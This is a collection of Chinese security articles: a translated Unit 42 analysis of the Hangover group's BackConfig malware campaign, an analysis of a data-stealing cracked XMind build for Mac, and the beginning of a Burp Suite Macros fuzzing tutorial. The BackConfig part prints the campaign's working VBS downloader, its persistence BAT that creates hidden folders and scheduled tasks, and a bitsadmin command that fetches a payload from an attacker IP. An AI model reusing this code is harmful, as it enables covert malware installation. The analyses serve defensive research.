在编写本文时，C2似乎无法使用，并且没有发现进一步的payload。我们相信合成wuaupdt.exe文件将提供进一步的功能以窃取信息、记录击键，并提供直接或通过其下载的其他插件运行其他命令的能力，如奇安信威胁情报中心之前的对先前活动的[调查](https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china-en/ "调查")。
Unit
42团队已经对许多BackConfig可执行文件进行了粗略的二进制差异分析，并没有发现任何非库函数的重叠，这表明payload是基于[这里](https://www.netscout.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia
"这里")和[这里](https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/ "这里")提到的YTY或EHDev框架。
### PE元数据
该恶意软件样本包含一些有趣的静态工件，包括自签名数字证书，用于对可执行文件进行签名，据称该可执行文件是总部位于加州的Foxit software
Incorporated公司的软件。尚不清楚为什么该组织选择这家公司(以及下面表1中列出的其他公司)来进行模仿，但是，正如前面提到的，它们对文件名和url的使用使它们的payload看起来是良性并值得信任的。
使用这个元数据，以及从基础设施调查中收集到的信息，Unit 42团队能够围绕AutoFocus数据找到额外的BackConfig
PE可执行样本。下面表1和表2列出了过去12个月的样本。
表1 PE的编译时间和使用的数字签名，按先见顺序排列。
存储在可执行文件(SHA256:
84e5629…)中的编译时间似乎在第一次WildFire分析系统发现该文件的时间之后。尽管PE文件的时间戳可以修改，但更可能用时区来解释这种奇怪。太平洋时间19日2349就是孟加拉国20日1350，
UTC 7:26am则是整个南亚地区的11:26-13:26，这使得样本编译紧跟传送之后。
有关自签名数字证书的更多细节，以及完整的哈希，可以在本文末尾的IOCs部分中找到。
下表显示了来自相同PE文件的版本信息，按类似的文件描述字段分组。顺序保持不变，除了样本(SHA256:
18ce3ee…)，该样本于2020年1月16日首次出现，但由于某些原因恢复使用了在两个月到三个月前的样本中看到的准确版本信息。也就是说，链接查找器。
表2 PE版本信息元数据，按先见顺序排序，并按匹配数据分组。
其中，该文件(SHA256:
1510996…)在主题方面具有最大的一致性，使用Foxit版权信息、自签名数字签名，甚至使用公司logo作为可执行文件的图标。该文件的版权信息与Foxit的Reader软件唯一不同的是缺少了一个句号，这意味着它是复制而不是被创建的。
随后，该组织开始使用看似虚构的公司和产品名称，同时在数字签名中混合使用签名者的名称。在过去的11个月中，根本没有使用任何文件图标。
最近的样本还包括文件描述、产品名称和版权字段中的西里尔文本。我们很难知道，这是否是在为BackConfig恶意软件的来源设置虚假标记，还是使内容与受害者组织内的特定目标更加相关。
### 传播与安装
在本节中，我们将根据我们在客户网络中所看到的，以及我们通过开源研究所建立的，描述各种payload是如何传送的。Unit
42还没有看到用于发送BackConfig的武器化文件被附在钓鱼邮件上任何证据，而邮件中的钓鱼URL链接似乎是Hangover组织的惯用手法。
本节的其余部分主要关注对象链接和嵌入(OLE) Microsoft
Excel文档，因为Hangover组织最常用的这些文档，至少在涉及BackConfig恶意软件时是这样。然而，通过基础设施分析，Unit
42能够使用C2域名`matissues[.]com` 找到BackConfig PE样本(SHA256:
e28f1bc0b0910757b25b2146ad027ee66b206a5fe66ce68a28f4ab1538d6a1f;首先被发现在2019年10月24日)，并由武器化富文本格式(RTF)文件(SHA256:
752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f)于同日删除。
RTF使用CVE-2017-11882漏洞，针对Office应用程序中等式编辑器漏洞执行PE样本，这是一种与其他所有分析样本相比独特的漏洞利用方法。
### 受损的第三方基础架构
继续从目前为止找到的样本中获得的数据进行分析，我们发现了一些与支持BackConfig恶意软件传送的受损第三方基础设施相关的url。下表列出了一些受感染的站点的示例，这些站点提供带有文件名的武器化XLS文件，如`Circular_No_03.xls`(SHA256:
0aa5cf1025be21b18ab12d8f8d61a6fa499b3bbcdbdced27db82209b81821caf)
和`Circullar_Nov_2017.xls`(SHA256:
ed638b5f33d8cee8f99d87aa51858a0a064ca2e6d59c6acfdf28d4014d145acb)，这些文件的内容或与向大量用户分发的信件或广告有关。
表3 支持BackConfig传送的受损的第三方基础架构
考虑到攻击目标以及受感染的第三方网站，我们认为，在上述某些URL中使用“fbr”可能与巴基斯坦联邦税务局（FBR）政府组织相关。“fbr”主题也可以在VBA宏代码中运行。文件`ed638b5…`包含语句`Const
WelcomePage = "FBR"`。
上面表3中的旧托管示例不依赖于PHP服务器端脚本来提供武器化的XLS文件。相反，页面只是使用HTTP响应状态301(永久移动)将URL重定向到指定的XLS，从而启动下载。最近的样例中使用了PHP和匹配社会工程主题的URL文件名，例如“fbr”。此外，该组织使用PHP脚本将任何访问页面的访问者记录在名为“info”的文件中，包括时间戳、客户端操作系统及其IP地址。
受损的第三方基础设施或组织，与Unit
42所看到的攻击目标一致。这可能纯粹是巧合，或者是该威胁组织的一个信号，表明他们的意图是利用目标国家基础设施的弱点，或者普遍受信任的国内基础设施。
Palo Alto Networks 公司的 WildFire
沙箱于2017年11月8日分析了样本`ed638b5`，如上表所示，该样本托管在两个受影响的网站上：孟加拉国的一所学校和马尔代夫的一家船运公司。虽然Unit
42在马尔代夫还没有发现Hangover组织的迹象，但这个群岛和其他已知的目标都在这一地区。有趣的是，在Unit 42分析样本一周后，新总统宣誓就职。
EXE payload(SHA256:
4104a871e03f312446ef2fb041077167a9c6648d48825cbc1584e4fa792cd)直接由样本`ed638b5`的VBA代码从下面的
URL下载，与BitDefender在[这里](https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/
"这里")记录的相关。到目前为止，Unit
42只在2017年末看到了6个类似的样本，与之前的更多样本相比，这可能表明了Hangover组织使用的自定义payload发生了变化。当然，在较早的样本和较新的BackConfig样本之间存在一些一致的战术、技术和程序(TTPs)。
http://chancetowin.quezknal[.]net/appstore/updatepatch/logs.exe
### 传送Payload的演变
在讲Hangover组织使用的最新样本和安装方法之前，来看看下面的时间线，提供了TTPs使用和演进的高级视图。
图2 传送Payload的演变
尽管经过多年的演变，有些习惯是很难改掉的。首先，Unit
42研究过的每个武器化的XLS都加载一条假的错误消息，如下面图3所示，以欺骗受害者认为文件已经损坏，因此没有任何东西已经或将要按预期加载。另一个过去常用的虚构错误消息文本，有拼写或语法错误。
图3 向受害者显示错误消息
同样，存储在所有Excel文档中的版本信息元数据共享相同的“作者”和“最后修改者”名称——“测试”。
以下小节描述了上面时间线图中突出显示的三个最新里程碑的活动和恶意软件
### 2019年里程碑：多组件
上面表3中列出的`Registration
Form.xls`（SHA256：be3f12bcc467808c8cc30a784765df1b3abe3e7a426fda594edbc7191bbda461）提供了该组织使用的引诱类型的样本。
在打开XLS并启用宏代码时，下面图中的图片显示在顶部的白色背景单元格上。正如文件名所示，这是一个注册表格，与巴基斯坦政府为帮助解决该国住房短缺而运行的“Naya巴基斯坦住房项目”有关。符合条件的公民包括政府雇员，登记表格截止到2019年10月15日(延长到11月15日)，这意味着10月25日的竞选时间和其诱惑力显然是为了增加感染恶意软件的机会。
图4 2019年10月，利用社会工程诱惑巴基斯坦政府
由于在编写本文时，PHP网页并不存在，因此Unit
42无法证明XLS文件`be3f12b…`是托管在上面表3第1行所列的URL上的。然而，由于以下几点，我们对两者之间的竞争关系有高度的信心。
1. AutoFocus和VirusTotal于2019年10月25日首先处理了XLS文件be3f12b…
2. VirusTotal在同一天处理了nsaimmigration…URL
3. 当天，在VirusTotal中处理了使用符号 `nphp_registration_form.php?r=` 的特定HTTP GET请求URL，该URL与 `http://185.203.119[.]184/fin_div/session` 有关联，该IP地址与 XLS be3f12b…删除的VBS代码中的URL结构相匹配
4. PHP网页nphp_registration_form.php的名称与XLS的文件名有关
XLS文件be3f12b…中的VBA宏代码与前几年的样本有所不同。它没有直接存储编码的EXE文件，也没有直接从VBA代码本身运行批处理shell命令，而是从Excel工作表中隐藏的列(从第27列或“AA”列开始)检索内容，对于大多数人来说，这可能不在屏幕上。更改字体颜色后，分别在AA和AB列中显示了先前变体中的“设置”批处理代码组件以及新的Visual
Basic Script（VBS）下载器组件，如下图5所示。
图5 XLS表中显示了VBS下载器和BAT设置文件
XLS中的宏VBA代码逐行解析这两列的内容，将内容写入它们各自在磁盘上的文件，并按照图6中描述的相同流程执行。
### 2019里程碑：BITS和ZIP
一个更新的武器化的XLS文件(SHA256:
021b030981a6db1ec90ccbd6d20ee66b554b7d8c611476e63426a9288d5ce68b)于2019年11月15日经Wildfire分析，并揭示了一些新技术。在这种情况下，VBA宏代码包含一个只有1,062字节大小的十进制编码的ZIP文件。在ZIP归档文件中有两个文本文件，它们将被解压到文件夹driverkit中。文件driverkit.bat是本报告中已讨论并在附录部分列出的“设置”BAT文件，另一个文件Winmgt.txt是对下载的VBS的改编，本报告中也对此进行了描述。但是，该版本没有使用MSXML
DOM对象直接下载HTTP，而是将以下内容写入Winmgt_Drive.bat，由“设置”bat文件创建的第三个计划任务执行。
echo off
bitsadmin /transfer Microsoft_Update /download /priority high
http://185.203.119[.]184/winmgt/winmgt.exe
%USERPROFILE%\Adobe\Driver\pdf\winmgt.exe
del %0
### 2020里程碑：微调
以下流程图基于Unit 42检测到的最新武器化文件之一Invoice.xls (SHA256:
8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83c;
首次于2020-01-15被检测到)。
感染过程由多个部分组成，一旦VBA将BackConfig插件加载程序写入磁盘并执行，“设置”批处理(BAT)文件就可协调BackConfig插件加载程序的大部分感染过程。
图6 Backconfig恶意软件执行流程图
下面是图6中编号对应的解释：
1. 创建文本文件Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1)并包含十进制解码的VBS内容。
2. 类似地，VBA代码然后将批处理代码写入另一个文本文件—Audio.txt。这两个文件的内容附在本文附录部分。
3. Audio.txt被重命名为Audio.bat并执行。
4. Audio.bat清理与以前的感染相关的所有文件和文件夹，并重新创建所需的环境，包括创建前面提到的pid.txt文件，并将各种文件夹和文件设置为从默认的Windows资源管理器视图中隐藏。pid.txt的内容是受害者的计算机名加上连字符和一个随机数，尽管我相信使用的代码不会像预期的那样工作。
5. bat继续创建两个调度任务引用两个尚不存在的文件:dphc.exe将每10分钟运行一次并驱动，Drive.vbs每隔20分钟一次。
6. 最后，在删除自己之前，Audio.bat会将Drive.txt重命名为Drive.vbs。vbs最终由任务调度程序执行，它将下载BackConfig可执行payload。在文件8892279f3中，远程位置是 http://185.203.119[.]184/Dropbox/request。
7. 当任务调度程序最终执行dph .exe时，它首先检查是否存在pid.txt(步骤4)，并且仅在文件存在时才继续执行。
最后，XLS将两个文件写入磁盘，其中一个文件BAT立即修改一些系统设置并创建两个计划任务。然而，这种行为可能不足以确定为恶意组件。在20分钟之后，任务调度程序才会执行VBS
downloader组件并启动BackConfig loader EXE，此时分析系统可能已经停止监视。
### ATT&CK
下表描述了与本文中描述的多个活动相关联的TTPs。
### 结论
根据Unit 42的报告，“Hangover”组织(又名Neon, Viceroy Tiger,
MONSOON)非常活跃，目标明确，南亚的政府和军事组织使用带有信件或政府表格的鱼叉式网络钓鱼邮件，引诱受害者浏览受攻击的网站，这些网站提供安装了BackConfig木马的武器化Excel文件。几乎无一例外地，Unit
42检测到的武器化文件需要用户执行。在过去六个月里，我们只看到过一次利用漏洞来绕过用户执行安装链中的部分。
BackConfig的主payload和辅助payload的发展已经见证了执行命令和部署可执行文件的不同方法，有混淆也有不混淆。
最新的版本包含了模块化的组件，可以更轻松地更新和重复使用代码，以便及时快速地部署他们的活动，从而获得最大的成功机会。执行最新样本的方法还表明，该组织的重点是试图通过将恶意活动分解为每个看起来相对良性的模块来避开沙箱和其他自动化分析系统。
### IoC
**传送文档：**
56349cf3188a36429c207d425dd92d8d57553b1f43648914b44965de2bd63dd6
8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83c
021b030981a6db1ec90ccbd6d20ee66b554b7d8c611476e63426a9288d5ce68b
be3f12bcc467808c8cc30a784765df1b3abe3e7a426fda594edbc7191bbda461
0aa5cf1025be21b18ab12d8f8d61a6fa499b3bbcdbdced27db82209b81821caf
ed638b5f33d8cee8f99d87aa51858a0a064ca2e6d59c6acfdf28d4014d145acb
752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f (RTF using
CVE-2017-11882)
**批处理文件：**
4BAFBF6000A003EB03F31023945A101813654D26B7F3E402D1F51B7608B93BCB (Audio.txt /
.bat from Naya Housing campaign)
C94f7733fc9bdbcb503efd000e5aef66d494291ae40fc516bb040b0d1d8b46c9
6a35d4158a5cb8e764777ba05c3d7d8a93a3865b24550bfb2eb8756c11b57be3
750fc47d8aa8c9ae7955291b9736e8292f02aaaa4f8118015e6927f78297f580
5292f4b4f38d41942016cf4b154b1ec65bb33dbc193a7e222270d4eea3578295
f64dbcd8b75efe7f4fa0c2881f0d62982773f33dcfd77cccb4afc64021af2d9e
98d27e830099c82b9807f19dcef1a25d7fce2c79a048d169a710b272e3f62f6e
29c5dd19b577162fe76a623d9a6dc558cfbd6cddca64ed53e870fe4b66b44096
(driverkit.bat)
abe82ffb8a8576dca8560799a082013a7830404bb235cb29482bc5038145b003
(Winmgt_Drive.bat uses bitsadmin)
02c306bb120148791418136dcea8eb93f8e97fb51b6657fd9468c73fb5ea786c
**VBS 文件：**
87e8c46d065ace580b1ed28565d1fddaa6df49da1ba83f7b3e9982cd8a0013f1
(One_drivers.txt / .vbs from Naya Housing campaign)
952d4a9891a75e25e1c31a0514b97345ca0d8f240cdd4a57c8b3ff8a651a231a
(Down_LinkLog.vbs)
a1cd89a684db41206fc71efe327ef608652931e749c24a3232908824cea426bb (Winmgt.vbs
using BITS)
**EXE Payloads：**
306fe259a250b2f0d939322cfb97787c4076c357fc9eb1f1cc10b0060f27f644
0f11fb955df07afc1912312f276c7fa3794ab85cd9f03b197c8bdbefb215fe92
84e56294b260b9024917c390be21121e927f414965a7a9db7ed7603e29b0d69c
18ce3eebbb093a218a8f566b579a5784caee94fadcda8f8c0d21f214ce2bd8b9
922d6e68ecac6dbfdd1985c2fae43e2fc88627df810897e3068d126169977709
4a4bc01b20dd2aaa2a2434dc677a44cc85d9533bed30bc58b8026b877db028d5
677d4982d714bb47fab613ebe1921005509ed0d1e8965e7241994e38c3ade9f2
d3013204f1a151c72879afc213dca3cada8c3ea617156b37771bdd7b7b74057f
91c67c1cda67b60c82e14a5c32d79a4236f5a82136317162dfbde1a6054cf8c1
de5b670656cbdbcf11607f01a6f93644765d9647ddab39b54946170b33f7ac9a
f79ebf038c7731ea3a19628cb329cada4ebb18f17439d9c6cf19d361b0494e7b
9e141fe67521b75412419a8c88c199c8ebd2a135c7a8b58edced454fbc33cb77
6787242a810f8a5e1423e83790064a0a98954ab0802a90649fdd55a47d75695e
e28f1bc0b0910757b25b2146ad02798ee6b206a5fe66ce68a28f4ab1538d6a1f
07c97b253452a2a8eb7753ed8c333efeaa3546c005ffcfb5b3d71dc61c49abda
31faeefb4dc4e54b747387bb54a5213118970ccb2f141559f8e2b4dbfdbeb848
15109962da4899949863447bfdf6a6de87a8876f92adb7577392032df44ec892
D87b875b8641c538f90fe68cad4e9bdc89237dba137e934f80996e8731059861
167c7d7c08d318bc40e552e6e32715a869d2d62ba0305752b9b9bece6b9e337e
4104a871e03f312446ef2fb041077167a9c6679f48d48825cbc1584e4fa792cd (example of
older set of downloaders)
b18697e999ed5859bfbc03e1d6e900752e1cdcd85ddb71729e2b38161366e5b5
(driverkit.zip)
**基础架构：**
linkrequest[.]live (23.106.123[.]87)
matissues[.]com
unique.fontsupdate[.]com
185.203.119[.]184（[ZoomEye搜索结果](https://www.zoomeye.org/searchDetail?type=host&title=5e5c0fc72a7f63460156396c060cb644
"ZoomEye搜索结果")）
212.114.52[.]148（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=212.114.52.148
"ZoomEye搜索结果")）
**数字签名：**
下面的自签名数字证书列表并不完整，只与过去12个月在BackConfig PE可执行文件样本中看到的证书有关。
**Foxit:**
thumbprint: 79635cb32cf16cf6bddfd563b09d7aa99ccb2c01
issuer: CN=Foxit Software Incorporated
subject: CN=Foxit Software Incorporated
version: 3
algorithm: sha1WithRSAEncryption
serial: 50:53:ce:ad:42:c2:70:84:4f:55:bc:76:a4:23:6c:c8
valid from: 1/1/2018
valid to: 1/1/2024
**Wind0ws:**
thumbprint: aa9010ff841c67cf8fb88d7f1e86a778b35bcba0
issuer: CN=wind0ws
subject: CN=wind0ws
version: 3
algorithm: sha1WithRSAEncryption
serial: 88:de:2e:60:7f:48:2c:81:44:54:32:29:98:22:69:70
valid from: 1/1/2019
valid to: 1/1/2025
**NVIDIA:**
thumbprint: 01ba433fdc7f9b1ad1baaea6c5fd69243d03d8c3
issuer: CN=NVIDIA Corporation
subject: CN=NVIDIA Corporation
version: 3
algorithm: sha1WithRSAEncryption
serial: 6d:39:d4:59:15:9e:8c:b3:41:da:bd:4c:dd:37:60:e1
valid from: 1/1/2019
valid to: 1/1/2025
### 附录
从XLS样本(SHA-256:
8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83)中提取了以下VBS和BAT代码
* VBS下载器组件 (SHA256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1)
[Drive.txt -> Drive.vbs CODE]
strFileURL = "http://<strong>185.203.119[.]184/Dropbox/request"</strong>
Set oShell = CreateObject("WScript.Shell")
strHomeFolder =
oShell.ExpandEnvironmentStrings("%USERPROFILE%")
strPath = "<strong>C:\Drivers\dphc.exe"</strong>
On Error Resume Next
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strPath) Then WScript.Quit()
Set objFSO = Nothing
objADOStream.SaveToFile strPath
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
* “设置”BAT组件
[Audio.txt -> Audio.bat CODE]
Set oFile = fso.CreateTextFile("c:\Drivers\Audio.txt")
oFile.WriteLine ("echo off")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\pdf")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\dwg")
oFile.WriteLine ("md %USERPROFILE%\Daily\Backup\Files")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Adobe")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Daily")
oFile.WriteLine ("attrib +a +h +s C:\Drivers")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\dwg\pid.txt"
oFile.WriteLine ("SET /A %COMPUTERNAME%")
oFile.WriteLine ("SET /A RAND=%RANDOM% 10000 + 1")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
<strong>%USERPROFILE%\Adobe\Driver\dwg\pid.txt")</strong>
oFile.WriteLine ("schtasks /delete /tn Winmgt_log /f")
oFile.WriteLine ("schtasks /delete /tn Yahoo_Drive /f")
oFile.WriteLine ("schtasks /create /sc minute /mo 10 /f /tn
Winmgt_log /tr C:\Drivers\dphc.exe")
oFile.WriteLine ("schtasks /create /sc minute /mo 20 /f /tn
Yahoo_Drive /tr C:\Drivers\Drive.vbs")
oFile.WriteLine ("ren C:\Drivers\Drive.txt Drive.vbs ")
oFile.WriteLine ("del %0")
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Dim OldName, NewName
GivenLocation = "C:\Drivers\"
OldName = "Audio.txt"
<strong>NewName = "Audio.bat"</strong>
On Error Resume Next
Name GivenLocation & OldName As GivenLocation & NewName
Dim RetVal
RetVal = Shell("C:\Drivers\Audio.bat", vbHide)
* * * | 社区文章 |
# 【技术分享】Mac下的破解软件真的安全吗？
|
##### 译文声明
本文是翻译文章，文章来源：ch4r0n@饿了么SRC
原文地址：<https://zhuanlan.zhihu.com/p/28732740>
译文仅供参考，具体内容表达以及含义原文为准。
作者：ch4r0n
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x01 前言**
****
小夏是一名普通Mac用户，某天，他打算试试思维导图来记录工作学习。
他问同事小芳：“Mac下有啥好用的思维导图软件？”
小芳：“XMind呀，很实用的思维导图软件。”
小夏：“那到哪里下载，要钱吗？”
小芳：“哎，你百度XMind破解版呀! 不需要花钱的，直接安装!”
小夏：“这么方便！我试试！”
这些所谓的破解版真的安全么?
**0x02 样本概述**
****
Xmind是一款实用的思维导图软件，正版官网售价高达99刀, 这个价格当然对普通用户无法承受, 通过搜索，很多站点都提供了破解版下载
对比相同版本号的正版和破解版, hash如下:
dab95dbad19995aeb88cc5d1bb0a7912 XMind_orig //正版 [v3.7.1] [306.2M]
094b3a161b7d041d217f6c61624ed388 XMind_new //破解版 [v3.7.1] [327.9M]
我们发现该样本采集了用户的很多隐私信息, 上传到了第三方服务器,采集信息如下图
1、黑产非法售卖用户信息, 泄漏用户隐私
2、广告推广, 获取盈利
3、钓鱼执法, 发送侵权律师函
4、etc
下面我们对该样本详细分析
**0x03 基本信息**
****
在Mac应用中，OSX系统下的Mach-O是可执行文件格式，程序跑起来解析Mach-O，然后链接系统的库文件以及第三方动态库。
我们使用MachOView进行解析
在可执行文件 Load Commands 字段中记录了程序的加载指令， **LC_LOAD_DYLIB**
是程序加载的动态库，其中Name字段记录了该动态库的路径，通常程序启动会根据该字段加载动态库。这里发现其加载了新增的两个动态库文件
**libcJFishPoolHook.dylib** 、 **libXMindHook.dylib**
。除此之外，XMind使用Java编写，移植到Mac平台，可执行文件也没有什么值得重点分析。
总结一下，主要做了如下事情:
1、程序启动初始化，获取资源文件。
2、加载.ini配置文件，得到启动的参数键值对。
3、将参数解析，然后运行加载Library（Java打包的动态库）.
直接对比正版和破解版的包目录, 在包中我们发现了多出来的2个dylib文件
**libC.JFishPoolHook.dylib**
**libXMindHook.dylib**
下面对这2个dylib进行详细分析
**0x04 dylib分析**
****
对于Mac/iOS中使用到的dylib，可以使用[ **class-dump**](https://github.com/nygard/class-dump)和[ **hoppper**](https://www.hopperapp.com/)结合进行反汇编分析。class-dump又是一款开源解析MachO利器，与MachOView相似的是，他可按照MachO偏移量，找寻符号表（Symbol
Table），从而导出类名和方法名，但是他提供了诸多参数用于导出不同架构的MachO链接符号表。使用如下命令导出类名方法名到文件中：
$ class-dump --arch x86_64 libCJFishPoolHook.dylib header.txt
$ cat header.txt
从导出结果来看，很可疑的是CJFishPoolHook类，该类有多达16个成员，
写该动态库的程序员非常老实，没有进行任何加密、混淆类名、方法名的操作，因此从字面上也不难猜出其含义为qq号、微信号、手机号、邮箱号、操作系统、CPU类型、内存、MAC地址、内网IP、公网IP、用户名、应用列表、设备ID，是否上传信息、开启应用和关闭应用的时间。
第二个动态库的类方法较少，很明显能猜出，hook了程序的函数，修改程序运行逻辑。
主要方法为:
1、init初始化方法
2、ExChangeImp，Method Swizzling动态交换函数指针，用于hook
3、BuyHook
4、CheckUpdatesHook
5、HelpHook
6、TitleHook
7、OpenURLHook
8、DateMenuItemHook
最后还使用了一个加密方法方法，该方法传入第一个参数（明文），第二个参数key用于加密内容。
@interface NSString （AES）
+ （id）AESDecrypt:（id）arg1 password:（id）arg2;
+ （id）AESEncrypt:（id）arg1 password:（id）arg2;
@end
@interface NSString （Number）
- （BOOL）isPureFloat;
- （BOOL）isPureLongLong;
- （BOOL）isPureInt;
@end
**0x05 抓包分析**
****
通过上面的简单分析不难猜测, 他把采集的信息发送到服务端了, 通过抓包分析该样本与服务端通信的过程如下：
第一次向服务端发送了checklocked, 返回值为0, 说明可以传输设备信息
接下的data是用来上传用户信息的。Body是经过AES加密后base编码的密文，既然key已经有了，可以尝试解开请求密文
通过静态分析我们知道他使用了AES加密算法, 而key就硬编码在代码中
结合上述过程，了解到加密算法的第一个参数为kCCEncrypt，第二个为kCCAlgorithmAES128，第三个为加密的填充模式kCCOptionECBMode。
依据此我们写出的AES解密方法应该为：
CCCryptorStatus cryptStatus = CCCrypt（kCCDecrypt,kCCAlgorithmAES128,kCCOptionECBMode, //ECB Mode keyPtr,kCCKeySizeAES128,iv,[self bytes],dataLength, /* input */buffer,bufferSize, /* output */numBytesEncrypted）;
key为： **iMdpgSr642Ck:7!@**
解开的密文为
下面我们看看该样本是如何获取这些用户隐私的。
**0x06 静态分析**
****
**用户隐私收集**
**CJFishPoolHook.dylib** 中会获取用户的隐私信息, 其流程如下
在应用初始化过程中，单例类的 **CJFishPoolHook** 执行初始化Init，随后，在Init方法中进行初始化成员操作，包含上述的16个信息。
在初始化过后，开启捕获用户信息startCapture。这其中包含获取用户联系方式（getContact），获取设备信息（getDevice），判断设备是否需要上传信息（checkLocked），获取应用ID（getProduct），获取设备上的应用列表（getFeature），获取地理位置（getLocation），获取启动时间（getHabitStart）。
最后一步，上传所有数据到服务器，并且使用AES加密算法加密http body。
**恶意收集QQ信息, 电话, 微信号，应用列表**
应用从 **/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ**
目录获取个人QQ信息。在该目录下，保存着用户的临时聊天记录，截图等信息。
从/Applications遍历本机安装的应用，形成应用列表。
**恶意推广**
**libCJFishPoolHook.dylib** 修改了更新xmind的官方网站, 推广其自己的广告站点
进程注入后，使用Method Swizzling挂钩MenuItem、Button等按钮，
**使其失效或重定向跳转到其他网站，屏蔽注册、激活检查更新功能** 。难怪启动应用后发现激活按钮失效，无法进行版本更新，购买激活产品却跳转到另一个网站。
**0x07 小结**
****
本次的逆向分析过程清晰，单从网络传输和静态分析上就能了解到该重打包应用运行状态的全部过程。对此公司搜集用户信息的这种行为，不想做过多评价。
主要还是从两个方面进行总结，对于开发者而言，要 **了解一些基本的防御手段，注重网络传输安全、存储安全，在开发过程中，尽量不要把key明文编码于程序中**
，哪怕是将二次编码后的key放到应用内也好。我们无法得知软件是否会被破解，key是否会泄露，而一旦暴露出来，则很容易被利用从而解开密文信息。更有甚者，直接使用base编码内容、数据位亦或运算编码，这种更容易被分析。同时我们可以混淆加密、反调试等手段增加软件破解的难度。另一方面，站在用户的角度，
**下载安装未经验证的软件，是一件很危险的事情**
，例如著名的XcodeGhost事件，其实就是开发者安装了非官方验证的开发软件，导致开发的程序带有后门，窃取和上传大量用户信息。
本文所述的只是个人信息安全的一角，但却不能忽视他的存在。就同本文中libCJFishPoolHook命名一样，真正的含义是鱼塘，软件使用者是鱼，养在破解者的鱼塘中，等鱼养大了，也该收网了。
过去六年间，Mac销量越来越高，也意味着苹果用户越来越多。而用户一多，生态圈内的软件产出势必增长, 同时也会出现更多恶意软件浑水摸鱼
**Mac恶意软件发展历史**
****
我们发现很多Mac用户对自身的安全并不是很重视，针对用户的恶意软件逐渐增多，窃取用户的隐私, 监控用户的日常行为, 恶意推广广告,
etc。因此，我们应该提高自身的安全意识, 警钟长鸣。 | 社区文章 |
# 【技术分享】如何使用Burp Suite Macros绕过防护进行自动化fuzz测试
|
##### 译文声明
本文是翻译文章，文章来源：securelayer7.net
原文地址：<http://blog.securelayer7.net/automating-web-apps-input-fuzzing-via-burp-macros/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[ **blueSky**](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
**本文的主要内容是讲述如何通过Burp Suite Macros自动化模糊测试Web应用的输入点以完成渗透测试工作。**
尽管许多渗透测试人员可能已经知道了Burp Suite Macros的使用方法，但这篇文章是为那些尚不知道如何利用Burp Suite
Macros进行自动化模糊测试的人编写的。
在我的渗透测试职业经历中，当对一个Web应用程序中的参数或者页面字段进行fuzz时，我经常会遇到一些与网络会话处理相关的难题。在大多数情况下，可能是由于一些网站的安全防护使得Web应用程序终止了渗透测试的会话。
在这些情况下，进一步的扫描，探测和请求都将变得无效，因此我不得不重新登录以重新建立与Web应用程序的会话连接。以前，我都是手动这样做，手动操作略显麻烦和笨拙。为了避免手动操作带来的麻烦，在尝试寻找解决方法的时候，我注意到了Burp的会话处理功能。
结合对Burp会话处理功能的自我研究以及在网上搜索到的相关资料，我终于找到了解决方法：使用Burp Suite
Macros就可以完美处理一些与网络会话处理相关的难题。简单来说，如果在对Web应用程序的某个参数进行fuzz的过程中会话终止了，Burp可以使用凭据自动登录应用程序，并继续扫描和爬取Web应用中的网页。
**准备环境**
1.Burp Suite工具（文中以Burp Suite 1.7.21版本为例展开介绍）
2\. 任何具有会话处理的网站（文中以demo.testfire.net网站为例展开介绍）
**具体操作**
**步骤1：**
下图是本文用于渗透测试的Web网站，该网站具有登录功能，具体如下图所示：
存在漏洞的网站
**步骤2：**
打开burp suite工具的intercept功能，该功能可用于拦截用户在网站上输入登录用户名以及登录密码
网站的登录页面
**步骤3：**
在网站上输入用户名和密码：
输入用户名和密码
**步骤4：**
为了测试会话处理，我们将下图中的请求发送给burp
suite工具的repeater模块，在测试的过程中如果由于会话中断而导致会话终止，那么我们将会删除cookie，具体如下图所示：
使用burp suite的repeater模块发送请求报文
**步骤5：**
从下图中可以看到，依赖之前会话的登录凭证，burp suite工具的repeater模块能够和服务器正常进行会话，此刻我们尝试删除cookie并再次测试
会话重放
**步骤6：**
从下图可以看到会话被注销，因此我们需要再次登录以继续测试。
Cookie失效，会话被终止
**步骤7：**
下面开始进入本文的正题，使用Burp Macros进行渗透测试。在burp suite工具中依次选择Project Options -> Sessions
-> Session Handling Rules，具体如下图所示：
